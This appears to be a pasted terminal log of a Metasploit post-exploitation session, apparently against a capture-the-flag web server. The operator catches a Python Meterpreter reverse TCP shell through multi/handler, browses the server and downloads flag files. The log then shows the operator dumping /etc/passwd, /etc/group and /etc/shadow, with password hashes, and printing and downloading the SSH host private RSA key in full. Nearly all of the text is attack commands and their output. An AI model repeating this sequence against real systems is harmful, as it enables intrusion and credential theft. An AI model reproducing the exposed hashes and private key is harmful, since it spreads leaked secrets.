API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 10th, 2018
1,154
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 65.50 KB | None | 0 0
raw download clone embed print report
  1. root@kali:~# msfconsole
  2. [-] Failed to connect to the database: could not connect to server: Connection refused
  3. Is the server running on host "localhost" (::1) and accepting
  4. TCP/IP connections on port 5432?
  5. could not connect to server: Connection refused
  6. Is the server running on host "localhost" (127.0.0.1) and accepting
  7. TCP/IP connections on port 5432?
  8.  
  9.  
  10.  
  11. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  12. MMMMMMMMMMM MMMMMMMMMM
  13. MMMN$ vMMMM
  14. MMMNl MMMMM MMMMM JMMMM
  15. MMMNl MMMMMMMN NMMMMMMM JMMMM
  16. MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
  17. MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
  18. MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
  19. MMMNI MMMMM MMMMMMM MMMMM jMMMM
  20. MMMNI MMMMM MMMMMMM MMMMM jMMMM
  21. MMMNI MMMNM MMMMMMM MMMMM jMMMM
  22. MMMNI WMMMM MMMMMMM MMMM# JMMMM
  23. MMMMR ?MMNM MMMMM .dMMMM
  24. MMMMNm `?MMM MMMM` dMMMMM
  25. MMMMMMN ?MM MM? NMMMMMN
  26. MMMMMMMMNe JMMMMMNMMM
  27. MMMMMMMMMMNm, eMMMMMNMMNMM
  28. MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
  29. MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
  30. https://metasploit.com
  31.  
  32.  
  33. =[ metasploit v4.17.8-dev ]
  34. + -- --=[ 1803 exploits - 1027 auxiliary - 311 post ]
  35. + -- --=[ 538 payloads - 41 encoders - 10 nops ]
  36. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  37.  
  38. msf > use exploit/multi/ha
  39. use exploit/multi/hams/steamed use exploit/multi/handler
  40. msf > use exploit/multi/handler
  41. msf exploit(multi/handler) > show options
  42.  
  43. Module options (exploit/multi/handler):
  44.  
  45. Name Current Setting Required Description
  46. ---- --------------- -------- -----------
  47.  
  48.  
  49. Exploit target:
  50.  
  51. Id Name
  52. -- ----
  53. 0 Wildcard Target
  54.  
  55.  
  56. msf exploit(multi/handler) > set payload python/
  57. set payload python/meterpreter/bind_tcp set payload python/meterpreter_reverse_http
  58. set payload python/meterpreter/bind_tcp_uuid set payload python/meterpreter_reverse_https
  59. set payload python/meterpreter/reverse_http set payload python/meterpreter_reverse_tcp
  60. set payload python/meterpreter/reverse_https set payload python/shell_bind_tcp
  61. set payload python/meterpreter/reverse_tcp set payload python/shell_reverse_tcp
  62. set payload python/meterpreter/reverse_tcp_ssl set payload python/shell_reverse_tcp_ssl
  63. set payload python/meterpreter/reverse_tcp_uuid set payload python/shell_reverse_udp
  64. set payload python/meterpreter_bind_tcp
  65. msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
  66. payload => python/meterpreter/reverse_tcp
  67. msf exploit(multi/handler) > show options
  68.  
  69. Module options (exploit/multi/handler):
  70.  
  71. Name Current Setting Required Description
  72. ---- --------------- -------- -----------
  73.  
  74.  
  75. Payload options (python/meterpreter/reverse_tcp):
  76.  
  77. Name Current Setting Required Description
  78. ---- --------------- -------- -----------
  79. LHOST yes The listen address (an interface may be specified)
  80. LPORT 4444 yes The listen port
  81.  
  82.  
  83. Exploit target:
  84.  
  85. Id Name
  86. -- ----
  87. 0 Wildcard Target
  88.  
  89.  
  90. msf exploit(multi/handler) > set LPORT 4554
  91. LPORT => 4554
  92. msf exploit(multi/handler) > set LHOST 192.168.0.4
  93. LHOST => 192.168.0.4
  94. msf exploit(multi/handler) > run
  95.  
  96. [*] Started reverse TCP handler on 192.168.0.4:4554
  97. [*] Sending stage (53508 bytes) to 10.0.3.178
  98. [*] Meterpreter session 1 opened (192.168.0.4:4554 -> 10.0.3.178:45030) at 2018-09-07 20:07:44 -0400
  99.  
  100. meterpreter > help
  101.  
  102. Core Commands
  103. =============
  104.  
  105. Command Description
  106. ------- -----------
  107. ? Help menu
  108. background Backgrounds the current session
  109. bgkill Kills a background meterpreter script
  110. bglist Lists running background scripts
  111. bgrun Executes a meterpreter script as a background thread
  112. channel Displays information or control active channels
  113. close Closes a channel
  114. disable_unicode_encoding Disables encoding of unicode strings
  115. enable_unicode_encoding Enables encoding of unicode strings
  116. exit Terminate the meterpreter session
  117. get_timeouts Get the current session timeout values
  118. guid Get the session GUID
  119. help Help menu
  120. info Displays information about a Post module
  121. irb Drop into irb scripting mode
  122. load Load one or more meterpreter extensions
  123. machine_id Get the MSF ID of the machine attached to the session
  124. migrate Migrate the server to another process
  125. quit Terminate the meterpreter session
  126. read Reads data from a channel
  127. resource Run the commands stored in a file
  128. run Executes a meterpreter script or Post module
  129. sessions Quickly switch to another session
  130. set_timeouts Set the current session timeout values
  131. sleep Force Meterpreter to go quiet, then re-establish session.
  132. transport Change the current transport mechanism
  133. use Deprecated alias for "load"
  134. uuid Get the UUID for the current session
  135. write Writes data to a channel
  136.  
  137.  
  138. Stdapi: File system Commands
  139. ============================
  140.  
  141. Command Description
  142. ------- -----------
  143. cat Read the contents of a file to the screen
  144. cd Change directory
  145. checksum Retrieve the checksum of a file
  146. cp Copy source to destination
  147. dir List files (alias for ls)
  148. download Download a file or directory
  149. edit Edit a file
  150. getlwd Print local working directory
  151. getwd Print working directory
  152. lcd Change local working directory
  153. lls List local files
  154. lpwd Print local working directory
  155. ls List files
  156. mkdir Make directory
  157. mv Move source to destination
  158. pwd Print working directory
  159. rm Delete the specified file
  160. rmdir Remove directory
  161. search Search for files
  162. upload Upload a file or directory
  163.  
  164.  
  165. Stdapi: Networking Commands
  166. ===========================
  167.  
  168. Command Description
  169. ------- -----------
  170. ifconfig Display interfaces
  171. ipconfig Display interfaces
  172. portfwd Forward a local port to a remote service
  173. resolve Resolve a set of host names on the target
  174.  
  175.  
  176. Stdapi: System Commands
  177. =======================
  178.  
  179. Command Description
  180. ------- -----------
  181. execute Execute a command
  182. getenv Get one or more environment variable values
  183. getpid Get the current process identifier
  184. getuid Get the user that the server is running as
  185. kill Terminate a process
  186. localtime Displays the target system's local date and time
  187. pgrep Filter processes by name
  188. pkill Terminate processes by name
  189. ps List running processes
  190. shell Drop into a system command shell
  191. sysinfo Gets information about the remote system, such as OS
  192.  
  193.  
  194. Stdapi: Audio Output Commands
  195. =============================
  196.  
  197. Command Description
  198. ------- -----------
  199. play play an audio file on target system, nothing written on disk
  200.  
  201. meterpreter > whoami
  202. [-] Unknown command: whoami.
  203. meterpreter > sysinfo
  204. Computer : world102-cuiteur
  205. OS : Linux 4.15.0-1018-gcp #19-Ubuntu SMP Thu Aug 16 13:38:55 UTC 2018
  206. Architecture : x64
  207. System Language : C
  208. Meterpreter : python/linux
  209. meterpreter > ls
  210. Listing: /var/www/html/php
  211. ==========================
  212.  
  213. Mode Size Type Last modified Name
  214. ---- ---- ---- ------------- ----
  215. 100775/rwxrwxr-x 1508 fil 2018-08-27 19:36:07 -0400 abonnements.php
  216. 100775/rwxrwxr-x 1476 fil 2018-08-27 19:36:07 -0400 abonnes.php
  217. 100775/rwxrwxr-x 33881 fil 2018-09-07 10:57:00 -0400 bibli_cuiteur.php
  218. 100775/rwxrwxr-x 26429 fil 2018-08-27 19:36:07 -0400 bibli_generale.php
  219. 100775/rwxrwxr-x 2047 fil 2018-08-27 19:36:07 -0400 blabla.php
  220. 100775/rwxrwxr-x 12042 fil 2018-08-27 19:36:07 -0400 comparaison_requetes.txt
  221. 100775/rwxrwxr-x 12347 fil 2018-09-03 22:26:24 -0400 compte.php
  222. 100775/rwxrwxr-x 9444 fil 2018-08-27 19:36:07 -0400 cuiteur.php
  223. 100775/rwxrwxr-x 151 fil 2018-08-27 19:36:07 -0400 deconnexion.php
  224. 100775/rwxrwxr-x 6095 fil 2018-08-27 19:36:07 -0400 inscription.php
  225. 100775/rwxrwxr-x 1656 fil 2018-08-27 19:36:07 -0400 mentions.php
  226. 100755/rwxr-xr-x 450 fil 2018-09-07 20:05:07 -0400 ne0.py
  227. 100644/rw-r--r-- 20 fil 2018-09-07 10:40:11 -0400 python
  228. 100775/rwxrwxr-x 1773 fil 2018-08-27 19:36:07 -0400 recherche.php
  229. 100775/rwxrwxr-x 1718 fil 2018-08-27 19:36:07 -0400 recherche_old.php
  230. 100775/rwxrwxr-x 1181 fil 2018-08-27 19:36:07 -0400 suggestions.php
  231. 100775/rwxrwxr-x 3873 fil 2018-08-27 19:36:07 -0400 tendances.php
  232. 100755/rwxr-xr-x 908 fil 2018-09-07 19:47:37 -0400 tmpbrfyv.php
  233. 100666/rw-rw-rw- 727 fil 2018-09-07 19:47:37 -0400 tmpuftku.php
  234. 100775/rwxrwxr-x 3465 fil 2018-08-27 19:36:07 -0400 utilisateur.php
  235.  
  236. meterpreter > cd ..
  237. meterpreter > ls
  238. Listing: /var/www/html
  239. ======================
  240.  
  241. Mode Size Type Last modified Name
  242. ---- ---- ---- ------------- ----
  243. 100600/rw------- 100675 fil 2018-08-27 17:06:06 -0400 flag_ef48c84e06e4fabbe6d6e157d6694ca137b32a4a.jpg
  244. 40775/rwxrwxr-x 4096 dir 2018-08-27 19:36:07 -0400 html
  245. 40775/rwxrwxr-x 4096 dir 2018-09-07 19:14:14 -0400 images
  246. 100644/rw-r--r-- 11010 fil 2018-09-06 03:12:50 -0400 index.html
  247. 100775/rwxrwxr-x 3916 fil 2018-09-07 19:28:01 -0400 index.php
  248. 40777/rwxrwxrwx 4096 dir 2018-09-07 20:05:07 -0400 php
  249. 40775/rwxrwxr-x 4096 dir 2018-08-27 19:36:07 -0400 styles
  250. 40775/rwxrwxr-x 4096 dir 2018-09-04 07:17:02 -0400 upload
  251.  
  252. meterpreter > cd ..
  253. meterpreter > ls
  254. Listing: /var/www
  255. =================
  256.  
  257. Mode Size Type Last modified Name
  258. ---- ---- ---- ------------- ----
  259. 40775/rwxrwxr-x 4096 dir 2018-09-07 19:28:07 -0400 html
  260.  
  261. meterpreter > cd /
  262. meterpreter > ls
  263. Listing: /
  264. ==========
  265.  
  266. Mode Size Type Last modified Name
  267. ---- ---- ---- ------------- ----
  268. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:36:33 -0400 bin
  269. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:37:02 -0400 boot
  270. 40755/rwxr-xr-x 3620 dir 2018-09-04 04:32:25 -0400 dev
  271. 40755/rwxr-xr-x 4096 dir 2018-09-04 07:39:44 -0400 etc
  272. 40755/rwxr-xr-x 4096 dir 2018-09-04 07:22:11 -0400 home
  273. 100644/rw-r--r-- 19906299 fil 2018-08-27 16:37:02 -0400 initrd.img
  274. 100644/rw-r--r-- 19902389 fil 2018-08-27 16:13:26 -0400 initrd.img.old
  275. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:18:34 -0400 lib
  276. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:02 -0400 lib64
  277. 40700/rwx------ 16384 dir 2018-08-08 12:01:01 -0400 lost+found
  278. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:02 -0400 media
  279. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:02 -0400 mnt
  280. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:02 -0400 opt
  281. 40555/r-xr-xr-x 0 dir 2018-08-27 19:56:14 -0400 proc
  282. 40700/rwx------ 4096 dir 2018-09-07 10:57:00 -0400 root
  283. 40755/rwxr-xr-x 1020 dir 2018-09-07 19:05:11 -0400 run
  284. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:37:52 -0400 sbin
  285. 40755/rwxr-xr-x 4096 dir 2018-08-11 07:57:50 -0400 snap
  286. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:02 -0400 srv
  287. 40555/r-xr-xr-x 0 dir 2018-09-03 15:41:04 -0400 sys
  288. 41777/rwxrwxrwx 4096 dir 2018-09-07 20:05:07 -0400 tmp
  289. 40755/rwxr-xr-x 4096 dir 2018-08-08 12:01:07 -0400 usr
  290. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:46:21 -0400 var
  291. 100600/rw------- 8232696 fil 2018-08-27 16:13:44 -0400 vmlinuz
  292. 100600/rw------- 8226672 fil 2018-08-08 12:19:18 -0400 vmlinuz.old
  293.  
  294. meterpreter > cd home/ubuntu
  295. meterpreter > ls
  296. Listing: /home/ubuntu
  297. =====================
  298.  
  299. Mode Size Type Last modified Name
  300. ---- ---- ---- ------------- ----
  301. 100644/rw-r--r-- 220 fil 2018-08-11 07:57:37 -0400 .bash_logout
  302. 100644/rw-r--r-- 3771 fil 2018-08-11 07:57:37 -0400 .bashrc
  303. 100644/rw-r--r-- 807 fil 2018-08-11 07:57:37 -0400 .profile
  304. 40700/rwx------ 4096 dir 2018-08-27 16:12:38 -0400 .ssh
  305. 100600/rw------- 58891 fil 2018-08-27 16:49:11 -0400 flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  306.  
  307. meterpreter > download flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  308. [*] Downloading: flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg -> flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  309. [*] Downloaded 57.51 KiB of 57.51 KiB (100.0%): flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg -> flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  310. [*] download : flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg -> flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  311. meterpreter > cat /etc/passwd
  312. root:x:0:0:root:/root:/bin/bash
  313. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  314. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  315. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  316. sync:x:4:65534:sync:/bin:/bin/sync
  317. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  318. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  319. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  320. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  321. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  322. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  323. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  324. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  325. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  326. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  327. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  328. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  329. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  330. systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  331. systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  332. syslog:x:102:106::/home/syslog:/usr/sbin/nologin
  333. messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
  334. _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
  335. lxd:x:105:65534::/var/lib/lxd/:/bin/false
  336. uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
  337. dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  338. landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
  339. sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
  340. pollinate:x:110:1::/var/cache/pollinate:/bin/false
  341. _chrony:x:111:115:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
  342. ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
  343. printer:x:1001:1002::/home/printer:/bin/bash
  344. nikos:x:1002:1003::/home/nikos:/bin/bash
  345. pontus:x:1003:1004::/home/pontus:/bin/bash
  346. tterranigma:x:1004:1005::/home/tterranigma:/bin/bash
  347. mysql:x:112:116:MySQL Server,,,:/nonexistent:/bin/false
  348. root122:x:1005:1006::/home/root122:/bin/bash
  349. svetlomirpetrov:x:1006:1007::/home/svetlomirpetrov:/bin/bash
  350. pontusj:x:1007:1008::/home/pontusj:/bin/bash
  351. printer_25132:x:1008:4::/home/printer_25132:/bin/bash
  352. spider:x:1009:1009:,,,:/home/spider:/bin/bash
  353. meterpreter > cat /etc/shadow
  354. root:$6$47039e573efd03b4$e354qM/uzkFKd1YLZefmRjfTcn/g7AkIzEmZtEiMcqSe/32foHbpaaVf36vHxcHKEiw1COKkHPgrItMkJGVZv/:17770:0:99999:7:::
  355. daemon:*:17751:0:99999:7:::
  356. bin:*:17751:0:99999:7:::
  357. sys:*:17751:0:99999:7:::
  358. sync:*:17751:0:99999:7:::
  359. games:*:17751:0:99999:7:::
  360. man:*:17751:0:99999:7:::
  361. lp:*:17751:0:99999:7:::
  362. mail:*:17751:0:99999:7:::
  363. news:*:17751:0:99999:7:::
  364. uucp:*:17751:0:99999:7:::
  365. proxy:*:17751:0:99999:7:::
  366. www-data:*:17751:0:99999:7:::
  367. backup:*:17751:0:99999:7:::
  368. list:*:17751:0:99999:7:::
  369. irc:*:17751:0:99999:7:::
  370. gnats:*:17751:0:99999:7:::
  371. nobody:*:17751:0:99999:7:::
  372. systemd-network:*:17751:0:99999:7:::
  373. systemd-resolve:*:17751:0:99999:7:::
  374. syslog:*:17751:0:99999:7:::
  375. messagebus:*:17751:0:99999:7:::
  376. _apt:*:17751:0:99999:7:::
  377. lxd:*:17751:0:99999:7:::
  378. uuidd:*:17751:0:99999:7:::
  379. dnsmasq:*:17751:0:99999:7:::
  380. landscape:*:17751:0:99999:7:::
  381. sshd:*:17751:0:99999:7:::
  382. pollinate:*:17751:0:99999:7:::
  383. _chrony:*:17751:0:99999:7:::
  384. ubuntu:!:17754:0:99999:7:::
  385. printer:*:17754:0:99999:7:::
  386. nikos:*:17754:0:99999:7:::
  387. pontus:*:17754:0:99999:7:::
  388. tterranigma:*:17770:0:99999:7:::
  389. mysql:!:17770:0:99999:7:::
  390. root122:*:17771:0:99999:7:::
  391. svetlomirpetrov:*:17771:0:99999:7:::
  392. pontusj:*:17776:0:99999:7:::
  393. printer_25132:$6$w8LOUb1A$tI5uAQaxhOxXNufYeUTQ0DYjPsJVPIzkFacIrQ.McQ91ru3cO73djgWD15mrEyrJek18w9RugEafHqAu3kg2G/:17778:0:99999:7:::
  394. spider:$6$F4OPpHUE$8cVNVO4oHMKL7/LScrV0cl4E/cr55W46f1HItx5lF4fiIm8q381Rh6RorhyU0xT/Eo31fX2VYAHoi4oRX5joM.:17778:0:99999:7:::
  395. meterpreter > cat /etc/group
  396. root:x:0:
  397. daemon:x:1:
  398. bin:x:2:
  399. sys:x:3:
  400. adm:x:4:syslog,ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  401. tty:x:5:
  402. disk:x:6:
  403. lp:x:7:
  404. mail:x:8:
  405. news:x:9:
  406. uucp:x:10:
  407. man:x:12:
  408. proxy:x:13:
  409. kmem:x:15:
  410. dialout:x:20:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  411. fax:x:21:
  412. voice:x:22:
  413. cdrom:x:24:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  414. floppy:x:25:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  415. tape:x:26:
  416. sudo:x:27:ubuntu,spider,printer_25132
  417. audio:x:29:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  418. dip:x:30:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  419. www-data:x:33:
  420. backup:x:34:
  421. operator:x:37:
  422. list:x:38:
  423. irc:x:39:
  424. src:x:40:
  425. gnats:x:41:
  426. shadow:x:42:
  427. utmp:x:43:
  428. video:x:44:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  429. sasl:x:45:
  430. plugdev:x:46:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  431. staff:x:50:
  432. games:x:60:
  433. users:x:100:
  434. nogroup:x:65534:
  435. systemd-journal:x:101:
  436. systemd-network:x:102:
  437. systemd-resolve:x:103:
  438. input:x:104:
  439. crontab:x:105:
  440. syslog:x:106:
  441. messagebus:x:107:
  442. lxd:x:108:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  443. mlocate:x:109:
  444. uuidd:x:110:
  445. ssh:x:111:
  446. landscape:x:112:
  447. admin:x:113:
  448. netdev:x:114:ubuntu,printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  449. _chrony:x:115:
  450. ubuntu:x:1000:printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  451. google-sudoers:x:1001:printer,nikos,pontus,tterranigma,root122,svetlomirpetrov,pontusj
  452. printer:x:1002:
  453. nikos:x:1003:
  454. pontus:x:1004:
  455. tterranigma:x:1005:
  456. mysql:x:116:
  457. ssl-cert:x:117:
  458. root122:x:1006:
  459. svetlomirpetrov:x:1007:
  460. pontusj:x:1008:
  461. spider:x:1009:
  462. meterpreter > ?
  463.  
  464. Core Commands
  465. =============
  466.  
  467. Command Description
  468. ------- -----------
  469. ? Help menu
  470. background Backgrounds the current session
  471. bgkill Kills a background meterpreter script
  472. bglist Lists running background scripts
  473. bgrun Executes a meterpreter script as a background thread
  474. channel Displays information or control active channels
  475. close Closes a channel
  476. disable_unicode_encoding Disables encoding of unicode strings
  477. enable_unicode_encoding Enables encoding of unicode strings
  478. exit Terminate the meterpreter session
  479. get_timeouts Get the current session timeout values
  480. guid Get the session GUID
  481. help Help menu
  482. info Displays information about a Post module
  483. irb Drop into irb scripting mode
  484. load Load one or more meterpreter extensions
  485. machine_id Get the MSF ID of the machine attached to the session
  486. migrate Migrate the server to another process
  487. quit Terminate the meterpreter session
  488. read Reads data from a channel
  489. resource Run the commands stored in a file
  490. run Executes a meterpreter script or Post module
  491. sessions Quickly switch to another session
  492. set_timeouts Set the current session timeout values
  493. sleep Force Meterpreter to go quiet, then re-establish session.
  494. transport Change the current transport mechanism
  495. use Deprecated alias for "load"
  496. uuid Get the UUID for the current session
  497. write Writes data to a channel
  498.  
  499.  
  500. Stdapi: File system Commands
  501. ============================
  502.  
  503. Command Description
  504. ------- -----------
  505. cat Read the contents of a file to the screen
  506. cd Change directory
  507. checksum Retrieve the checksum of a file
  508. cp Copy source to destination
  509. dir List files (alias for ls)
  510. download Download a file or directory
  511. edit Edit a file
  512. getlwd Print local working directory
  513. getwd Print working directory
  514. lcd Change local working directory
  515. lls List local files
  516. lpwd Print local working directory
  517. ls List files
  518. mkdir Make directory
  519. mv Move source to destination
  520. pwd Print working directory
  521. rm Delete the specified file
  522. rmdir Remove directory
  523. search Search for files
  524. upload Upload a file or directory
  525.  
  526.  
  527. Stdapi: Networking Commands
  528. ===========================
  529.  
  530. Command Description
  531. ------- -----------
  532. ifconfig Display interfaces
  533. ipconfig Display interfaces
  534. portfwd Forward a local port to a remote service
  535. resolve Resolve a set of host names on the target
  536.  
  537.  
  538. Stdapi: System Commands
  539. =======================
  540.  
  541. Command Description
  542. ------- -----------
  543. execute Execute a command
  544. getenv Get one or more environment variable values
  545. getpid Get the current process identifier
  546. getuid Get the user that the server is running as
  547. kill Terminate a process
  548. localtime Displays the target system's local date and time
  549. pgrep Filter processes by name
  550. pkill Terminate processes by name
  551. ps List running processes
  552. shell Drop into a system command shell
  553. sysinfo Gets information about the remote system, such as OS
  554.  
  555.  
  556. Stdapi: Audio Output Commands
  557. =============================
  558.  
  559. Command Description
  560. ------- -----------
  561. play play an audio file on target system, nothing written on disk
  562.  
  563. meterpreter > ifconfig
  564.  
  565. Interface 1
  566. ============
  567. Name : lo
  568. Hardware MAC : 00:00:00:00:00:00
  569. MTU : 65536
  570. Flags : UP LOOPBACK RUNNING
  571. IPv4 Address : 127.0.0.1
  572. IPv4 Netmask : 255.0.0.0
  573. IPv6 Address : ::1
  574. IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
  575.  
  576.  
  577. Interface 2
  578. ============
  579. Name : ens4
  580. Hardware MAC : 42:01:0a:4a:93:b2
  581. MTU : 1500
  582. Flags : UP BROADCAST RUNNING MULTICAST
  583. IPv4 Address : 10.74.147.178
  584. IPv4 Netmask : 255.255.252.0
  585. IPv4 Address : 10.0.3.178
  586. IPv4 Netmask : 255.255.255.255
  587. IPv6 Address : fe80::4001:aff:fe4a:93b2
  588. IPv6 Netmask : ffff:ffff:ffff:ffff::
  589.  
  590. meterpreter > getenv
  591. [-] None of the specified environment variables were found/set.
  592. meterpreter > cat /etc/ssh/ssh_host_rsa_key
  593. -----BEGIN RSA PRIVATE KEY-----
  594. MIIEpAIBAAKCAQEAxbus5M60hwVJTVkCt88gEa+IL6++MaICNr0pK+skQtR9b828
  595. hS3zL0CRp5FmdIuUyLjo1G9+QtxP/tt7cwtPk+q/F+mN427HCiwHBjyfX+OptVir
  596. 6K3JlPffvcmK8CVis/C2CIqBIji2vaH3YP/uiXXfY/i0ounOS4ca58ZHQJyVNztJ
  597. BNpXH18XK9DKKDZGCxohVubADwmYWOHlYIdhnWETHsOCOIVtiulOblcEgDuYoWzB
  598. 1vPWCzm8pCgCYvYuhQ1oYaaAjSd79cv59IAHzDwZCbGsTsy1GvaSG30bUpl3vPVX
  599. ME3Z6+EM60wv0JXO1RiWP0WTLe1wIfO0Bw0MhwIDAQABAoIBACLzSVwoLUCwboR9
  600. dz2GHuUBYdEL/1JGkJ2cUeqxZXdql8FrXCcuOA3iG9zClpmDEoloJb9m9apbxsgF
  601. g4ySMz6x/5T6c1n/+q6RmaxAiusoEpc7VSeLkFYEekfRl/1anlev9H0N/kVOQP7D
  602. 4jYDBubFLvc8vrENIqm298qAAZgpxTLz/PR9dD78zUYT8Cy5mhG53UHvARX4zDIF
  603. m28fjm2e+wBDz5f4uwL/2ifmiptIOId63wQj5yuqlQnL8zdBKzhE/5C3m2zwOAuv
  604. 85uEnk1towHM9NJMWQtQBBJQn0dUdzeL6yTnUNFOV9PqBlmBUJ0l4MELNAniCbXk
  605. HZ+DdAECgYEA+vyQBsk0Id3+Kz4hOMv9IzQwU7ZWhdB0Uit+W5F7vyEFAVCiyGiQ
  606. vGF3o0e2/kqAaziD38gSX3Z0Hv3Z7dSr5uEZ1ok/RvOOXaDUGPYRyesDBnnfVOlu
  607. GD4TSylKmD87v3cvWLDNApAXhA+uSv/jGuurez3OIiw0fKC3wEo/oz8CgYEAya7M
  608. JQ0ZSSKXz5PYzL+4R1zWYNBhfJwQ+68d7+RfIubZDN8gYBfnixGDaTYq7iAZgIKl
  609. jqHo/gQdSnV80gKGVe3Y4JHhTJftKby/UeO6wQRRde7wQBNPguGjSm40PqglLWY8
  610. CLvpuzv7iu32axoTXPZdmAYnEF0rFOu2khDu7LkCgYB1rsC1fdgE3TsU+Y/IOtWZ
  611. kRnr1n4hRkmUUbJwqvlz976KDE4XW/gpbCYVmEW0XCh0nc4vunbq7faqpWpuup5T
  612. pk5gKoBR+1dQjV2FyrMykxAbFD/kZ4NouIqBXn4MfvG75916X4Pw5LEyCcw2fF73
  613. O3NvWN5zZXjCyvT9o5LNLwKBgQCIL86OHmA6sG9OrgkxiSyIk7n3Of76Q/B7424V
  614. tWJAkR1zwZ99A+dIUxUnkHpAvdA6pP3iaJaKIIEe7GLS9P19PNS8IAXA0L5G9rtC
  615. MsLC34WaWzREMEX6nR7EfdItlSE1nNlhFHLqCcD7uWAyRjNZDMt6gn0SYbdbsydf
  616. TqvnkQKBgQCZ7uHG/LRL9kIS7m3WjG9FulmbLVUSyrl9dVRupDlTu99DxCRL4qoB
  617. ThdFItXR81MZE7SlfJ+UZ17NUZ/7vXVu64uB0N8Ecy5LIsZ1VwglKbPua7fWE7qZ
  618. q7xsPbJ40IHSOzJ1kUnbjuu9+ciY0eeDt0NpUCgC2yRzgqZ071iunA==
  619. -----END RSA PRIVATE KEY-----
  620. meterpreter > download /etc/ssh/ssh_host_rsa_key
  621. [*] Downloading: /etc/ssh/ssh_host_rsa_key -> ssh_host_rsa_key
  622. [*] Downloaded 1.64 KiB of 1.64 KiB (100.0%): /etc/ssh/ssh_host_rsa_key -> ssh_host_rsa_key
  623. [*] download : /etc/ssh/ssh_host_rsa_key -> ssh_host_rsa_key
  624. meterpreter > ls -lha /home/root
  625. Usage: ls [options] [glob/path]
  626.  
  627. Lists contents of directory or file info, searchable
  628.  
  629. OPTIONS:
  630.  
  631. -R Recursively list subdirectories encountered
  632. -S <opt> Search string on filename (as regular expression)
  633. -h Help banner
  634. -l List in long format (default)
  635. -r Reverse sort order
  636. -s Sort by size
  637. -t Sort by time
  638. -x Show short file names
  639.  
  640. meterpreter > ls /home/root
  641. [-] stdapi_fs_stat: Operation failed: Python exception: FileNotFoundError
  642. meterpreter > ls /home
  643. Listing: /home
  644. ==============
  645.  
  646. Mode Size Type Last modified Name
  647. ---- ---- ---- ------------- ----
  648. 40755/rwxr-xr-x 4096 dir 2018-08-11 07:57:47 -0400 nikos
  649. 40755/rwxr-xr-x 4096 dir 2018-08-11 07:57:47 -0400 pontus
  650. 40755/rwxr-xr-x 4096 dir 2018-09-02 10:28:34 -0400 pontusj
  651. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:35:28 -0400 printer
